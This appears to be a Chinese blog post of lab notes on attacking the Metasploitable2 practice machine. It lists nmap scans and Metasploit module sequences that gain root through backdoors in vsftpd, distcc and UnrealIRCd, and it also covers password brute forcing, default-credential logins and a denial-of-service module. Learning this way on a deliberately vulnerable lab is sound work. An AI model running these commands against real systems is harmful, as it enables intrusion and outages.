metasploitable2

nmap使用
nmap –sP IP段/掩码 范围内ping通的所有主机,通过抓包只看到发了arp包,还没有找全局域网内所有主机。
nmap -sP 192.168.43.0/24

-PS 让nmap使用SYN包而不是ACK包来对目标主机进行扫描。抓包没有看到syn包,不知道为什么
nmap -sP -PS 192.168.43.0/24 可以比-sP多找到主机

-sV 探测打开端口对应服务的版本信息
nmap -sV -Pn IP 扫描目标IP所有开放端口,列出应用版本
nmap -sV -Pn 192.168.12.149

操作系统检测 -O(O大写)开放端口也能扫到
nmap -O 192.168.12.149

445:samba sysmlink默认配置目录遍历漏洞
smbclient -L //192.168.12.149 回车
可以列出可以mount挂载的目录
metasploitable2_第1张图片

513:rlogin 漏洞
rlogin -l root 192.168.12.149 有漏洞可以远程登录成功。

1524:ingreslock后门漏洞
nmap可以看到后门漏洞
telnet 192.168.12.149 1524 root登录成功

2181:zookeeper未授权访问
echo envi|nc 192.168.12.149 2181 获取靶机信息

3306:mysql空口令
mysql -h 192.168.12.149 -u root
show databases;

hydra -L username.txt -P password.txt -vV -T 5000 ftp://192.168.12.149
爆破密码

msfconsole
匿名登录漏洞
search anonymous 查找匿名漏洞模块
use auxiliary/scanner/ftp/anonymous 使用ftp匿名攻击模块
show options 展示参数
set rhosts 192.168.12.149 设置攻击IP
run 运行
metasploitable2_第2张图片

vsftp漏洞 vsftpd 2.3.4
search backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set rhost 192.168.12.149
run
进入靶机,root权限

smtp简单邮件传输协议 25端口
telnet 192.168.12.149 25
vrfy user 返回码252 用户存在 返回码550用户不存在

ms15-034内存溢出漏洞
search ms15-034
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
show options
set rhosts 192.168.12.149
run
metasploitable2_第3张图片

200返回码存在漏洞,400不存在漏洞
攻击
search ms15-034
use auxiliary/dos/http/ms15_034_ulonglongadd
show options
set rhosts 192.168.12.149
run

php-cgi漏洞
search php-cgi
use exploit/multi/http/php_cgi_arg_injection
show options
set rhosts 192.168.12.149
run
进入靶机
shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
进入bash

nfs漏洞
search nfs
use auxiliary/scanner/nfs/nfsmount
show options
set rhosts 192.168.12.149
run
metasploitable2_第4张图片

/路径,目录下都有远程挂载权限。
mount 192.168.12.149:/home/msfadmin /root/nfs -o nolock 挂载
mount -l可以查看挂载情况
在这里插入图片描述

139:samba rpc shell注入漏洞
search port:139 根据端口搜索
exploit/multi/samba/usermap_script
show options
set rhosts 192.168.12.149
run
进入靶机root权限

1099:Java-rmi server命令执行漏洞
search java-rmi
use auxiliary/scanner/misc/java_rmi_server
show options
set rhosts 192.168.12.149
run
可以看到存在漏洞
use exploit/multi/misc/java_rmi_server
show options
set rhosts 192.168.12.149
run
攻击成功

5432:postgres弱口令
search postgre
use auxiliary/scanner/postgres/postgres_login
show options
set rhosts 192.168.12.149
run
LOGIN SUCCESSFUL: postgres:postgres@template1
得到用户名密码
远程登录
psql -h 192.168.12.149 -U postgres
select pg_ls_dir(‘./’);可以执行命令

3632:distcc后门
search distcc
use exploit/unix/misc/distcc_exec
show options
set rhosts 192.168.12.149
run

5900:vnc未授权访问
use auxiliary/scanner/vnc/vnc_login
show options
set rhosts 192.168.12.149
run
[+] 192.168.12.149:5900 - LOGIN SUCCESSFUL: :password
得到vnc密码 vncviewer 192.168.12.149输入密码进入

6667- unrealRCD IRC守护进程后门
search unrealRCD
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhosts 192.168.12.149
run
直接进入

8180:tomcat 默认弱口令
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
show options
set rhosts 192.168.12.149
set rport 8180
run
[+] 192.168.12.149:8180 - LOGIN SUCCESSFUL: tomcat:tomcat
登录tomcat后台管理, tomcat manager中输用户名密码可以上次war包。
在这里插入图片描述

你可能感兴趣的:(安全,web安全,metasploitable2)